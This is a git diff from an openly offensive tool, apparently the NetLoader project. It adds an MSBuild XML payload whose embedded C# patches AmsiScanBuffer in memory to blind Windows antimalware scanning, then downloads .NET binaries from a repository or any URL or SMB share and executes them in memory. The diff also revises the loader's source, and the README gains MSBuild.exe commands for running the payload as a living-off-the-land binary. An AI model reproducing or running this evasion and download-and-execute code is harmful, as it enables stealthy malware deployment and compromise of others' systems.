diff --git a/MSBuild.xml b/MSBuild.xml deleted file mode 100644 index 07de67c..0000000 --- a/MSBuild.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/NetLoader.xml b/NetLoader.xml new file mode 100644 index 0000000..2b513bf --- /dev/null +++ b/NetLoader.xml @@ -0,0 +1,210 @@ + + + + + + + + | (,,) )__) + || / \)___)\ + | \____()___) )___ + \______(_______; ; ; __; ; ; +~Flangvik #NetLoader +"; + Console.WriteLine(bannerArt); + + + if (System.Environment.Is64BitOperatingSystem) + PatchAnnsi(new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }); + else + PatchAnnsi(new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }); + + while (true) + { + try + { + ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; + + List binList = GetBins(); + + + Console.WriteLine("------------------------"); + Console.WriteLine("[0] - Exit NetLoader"); + for (int count = 0; count < binList.Count; count++) + { + Console.WriteLine("[" + (count + 1) + "] - " + binList[count]); + + if (count == binList.Count - 1) + { + Console.WriteLine("[" + (count + 2) + "] - Custom PATH or URL "); + } + } + Console.WriteLine("-----------------------"); + Console.WriteLine("[+] Select a binary (number)>"); + + int selectedBin = Convert.ToInt32(Console.ReadLine()); + + if (selectedBin == 0) { + System.Environment.Exit(1); + + } else if (selectedBin - 1 == binList.Count) + { + Console.WriteLine("[+] Input your own URL / Local Path / direct link to binary"); + string binUrl = Console.ReadLine(); + + Console.WriteLine("[+] Provide arguments for {0} >", binUrl); + string binArgs = Console.ReadLine(); + invokeBinary("", binArgs, binUrl, false); + + + } + else if (selectedBin - 1 > binList.Count | selectedBin - 1 < 0) + { + Console.WriteLine("[!] Not a valid selection!"); + } + else + { + Console.WriteLine("[+] Provide arguments for {0} >", binList[selectedBin - 1]); + string binArgs = Console.ReadLine(); + invokeBinary(binList[selectedBin - 1], binArgs); + } + + } + catch (Exception ex) + { + Console.WriteLine("[!] Something went wrong, not going to handle it.."); + Console.WriteLine("[!] {0}", ex.Message); + Console.WriteLine("[!] {0}", ex.InnerException); + } + } + } + + + + public static void invokeBinary(string binName, string arguments = "", string customUrl = "", bool gitHub = true) + { + byte[] binarySource = new byte[] { }; + + if (gitHub) + { + binarySource = webClient.DownloadData(_repURL.Replace("tree", "blob") + "/" + binName + "?raw=true"); + } + else + { + if (customUrl.StartsWith("http") && !customUrl.StartsWith("\\\\")) + { + binarySource = webClient.DownloadData(customUrl); + } + else + { + binarySource = File.ReadAllBytes(customUrl); + + } + + } + + + + System.Reflection.Assembly.Load(binarySource).EntryPoint.Invoke(0, new object[] { new string[] { arguments } }); + + } + public static List GetBins() + { + Console.WriteLine("[+] Fetching list of bins from " + _repURL); + var avBinaries = new List() { }; + var websiteSource = webClient.DownloadString(_repURL); + string pattern = @"\/[A-Za-z]{0,50}\.bin"; + + Regex rgx = new Regex(pattern, RegexOptions.IgnoreCase); + MatchCollection matches = rgx.Matches(websiteSource); + foreach (var match in matches) + { + avBinaries.Add(match.ToString().TrimStart('/')); + } + + return avBinaries; + + } + private static void PatchAnnsi(byte[] magicJuice) + { + try + { + Console.WriteLine("[+] Patching AM" + "SI ..."); + IntPtr lib = WinLibBase.LoadLibrary("am" + "si.dll"); + IntPtr addr = WinLibBase.GetProcAddress(lib, "Am" + "siSca" + "nBuffer"); + uint oldProtect = 0; + WinLibBase.VirtualProtect(addr, (UIntPtr)magicJuice.Length, 0x40, out oldProtect); + + Marshal.Copy(magicJuice, 0, addr, magicJuice.Length); + + Console.WriteLine("[+] Patched!"); + + } + catch (Exception ex) + { + Console.WriteLine("[!] {0}", ex.Message); + Console.WriteLine("[!] {0}", ex.InnerException); + } + } + + +} + +public class WinLibBase +{ + [DllImport("kernel32")] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32")] + public static extern IntPtr LoadLibrary(string name); + + [DllImport("kernel32")] + public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); +} + + +public class ClassExample : Task, ITask +{ + public override bool Execute() + { + NetLoader.Main(new string[] { }); + return true; + } +} + + + + ]]> + + + + \ No newline at end of file diff --git a/NetLoader/.vs/NetLoader/v16/.suo b/NetLoader/.vs/NetLoader/v16/.suo index 43cd0f5..f04087f 100644 Binary files a/NetLoader/.vs/NetLoader/v16/.suo and b/NetLoader/.vs/NetLoader/v16/.suo differ diff --git a/NetLoader/NetLoader/Program.cs b/NetLoader/NetLoader/Program.cs index e5f40d4..0a1c21a 100644 --- a/NetLoader/NetLoader/Program.cs +++ b/NetLoader/NetLoader/Program.cs @@ -47,6 +47,7 @@ public class NetLoader Console.WriteLine("------------------------"); + Console.WriteLine("[0] - Exit NetLoader"); for (int count = 0; count < binList.Count; count++) { Console.WriteLine("[" + (count + 1) + "] - " + binList[count]); @@ -59,8 +60,12 @@ public class NetLoader Console.WriteLine("-----------------------"); Console.WriteLine("[+] Select a binary (number)>"); - int selectedBin = Convert.ToInt32(Console.ReadLine()) - 1; - if (selectedBin == binList.Count) + int selectedBin = Convert.ToInt32(Console.ReadLine()); + + if (selectedBin == 0) { + System.Environment.Exit(1); + + } else if (selectedBin - 1 == binList.Count) { Console.WriteLine("[+] Input your own URL / Local Path / direct link to binary"); string binUrl = Console.ReadLine(); @@ -71,15 +76,15 @@ public class NetLoader } - else if (selectedBin > binList.Count | selectedBin < 0) + else if (selectedBin - 1 > binList.Count | selectedBin - 1 < 0) { Console.WriteLine("[!] Not a valid selection!"); } else { - Console.WriteLine("[+] Provide arguments for {0} >", binList[selectedBin]); + Console.WriteLine("[+] Provide arguments for {0} >", binList[selectedBin - 1]); string binArgs = Console.ReadLine(); - invokeBinary(binList[selectedBin], binArgs); + invokeBinary(binList[selectedBin - 1], binArgs); } } @@ -145,12 +150,13 @@ public class NetLoader Console.WriteLine("[+] Patching AM" + "SI ..."); IntPtr lib = WinLibBase.LoadLibrary("am" + "si.dll"); IntPtr addr = WinLibBase.GetProcAddress(lib, "Am" + "siSca" + "nBuffer"); - - WinLibBase.VirtualProtect(addr, (UIntPtr)magicJuice.Length, 0x40, out var oldProtect); + uint oldProtect = 0; + WinLibBase.VirtualProtect(addr, (UIntPtr)magicJuice.Length, 0x40, out oldProtect); Marshal.Copy(magicJuice, 0, addr, magicJuice.Length); Console.WriteLine("[+] Patched!"); + } catch (Exception ex) { diff --git a/NetLoader/NetLoader/bin/Debug/NetLoader.exe b/NetLoader/NetLoader/bin/Debug/NetLoader.exe deleted file mode 100644 index 668bbad..0000000 Binary files a/NetLoader/NetLoader/bin/Debug/NetLoader.exe and /dev/null differ diff --git a/NetLoader/NetLoader/bin/Debug/NetLoader.pdb b/NetLoader/NetLoader/bin/Debug/NetLoader.pdb deleted file mode 100644 index 08e8fbd..0000000 Binary files a/NetLoader/NetLoader/bin/Debug/NetLoader.pdb and /dev/null differ diff --git a/NetLoader/NetLoader/obj/Debug/NetLoader.csproj.FileListAbsolute.txt b/NetLoader/NetLoader/obj/Debug/NetLoader.csproj.FileListAbsolute.txt index aefaf81..c6f0693 100644 --- a/NetLoader/NetLoader/obj/Debug/NetLoader.csproj.FileListAbsolute.txt +++ b/NetLoader/NetLoader/obj/Debug/NetLoader.csproj.FileListAbsolute.txt @@ -1,6 +1,5 @@ D:\Projects\NetLoader\NetLoader\NetLoader\bin\Debug\NetLoader.exe D:\Projects\NetLoader\NetLoader\NetLoader\bin\Debug\NetLoader.pdb -D:\Projects\NetLoader\NetLoader\NetLoader\obj\Debug\NetLoader.csprojAssemblyReference.cache D:\Projects\NetLoader\NetLoader\NetLoader\obj\Debug\NetLoader.csproj.CoreCompileInputs.cache D:\Projects\NetLoader\NetLoader\NetLoader\obj\Debug\NetLoader.exe D:\Projects\NetLoader\NetLoader\NetLoader\obj\Debug\NetLoader.pdb diff --git a/NetLoader/NetLoader/obj/Debug/NetLoader.csprojAssemblyReference.cache b/NetLoader/NetLoader/obj/Debug/NetLoader.csprojAssemblyReference.cache deleted file mode 100644 index 4ef19c1..0000000 Binary files a/NetLoader/NetLoader/obj/Debug/NetLoader.csprojAssemblyReference.cache and /dev/null differ diff --git a/NetLoader/NetLoader/obj/Debug/NetLoader.exe b/NetLoader/NetLoader/obj/Debug/NetLoader.exe index 668bbad..9330850 100644 Binary files a/NetLoader/NetLoader/obj/Debug/NetLoader.exe and b/NetLoader/NetLoader/obj/Debug/NetLoader.exe differ diff --git a/NetLoader/NetLoader/obj/Debug/NetLoader.pdb b/NetLoader/NetLoader/obj/Debug/NetLoader.pdb index 08e8fbd..0d4a482 100644 Binary files a/NetLoader/NetLoader/obj/Debug/NetLoader.pdb and b/NetLoader/NetLoader/obj/Debug/NetLoader.pdb differ diff --git a/README.md b/README.md index dec169e..9a2f1ef 100644 --- a/README.md +++ b/README.md @@ -21,10 +21,21 @@ As of 05.05.2020, pretty much clean as a whistle Credits to https://twitter.com/_RastaMouse for the AMSI bypass -> https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs +#LOLBins + +Payload for MSBuild is in the repo, might push this for varius other LOLBins aswell. + + For 64 bit: + C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe NetLoader.xml + + For 32 bit: + C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe NetLoader.xml + # Todo - [ ] Automate the build and release of many of the Sharp Tools so they automagically appear in /Binaries (CDI / Azure DevOps) - [ ] Add support for non-interactive use (input args) - [X] Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment) - [ ] Add some missing stuff SharpSploit and SharpShell (Need to fix some deps) - [ ] Propely confirm and test every current bin -- [ ] Add an working MSBuild XML payload for the LOLBins lovers (Myself included) +- [X] Add an working MSBuild XML payload for the LOLBins lovers (Myself included) +- [ ] Update with credits and links to the github repos that /Binaries are compiled from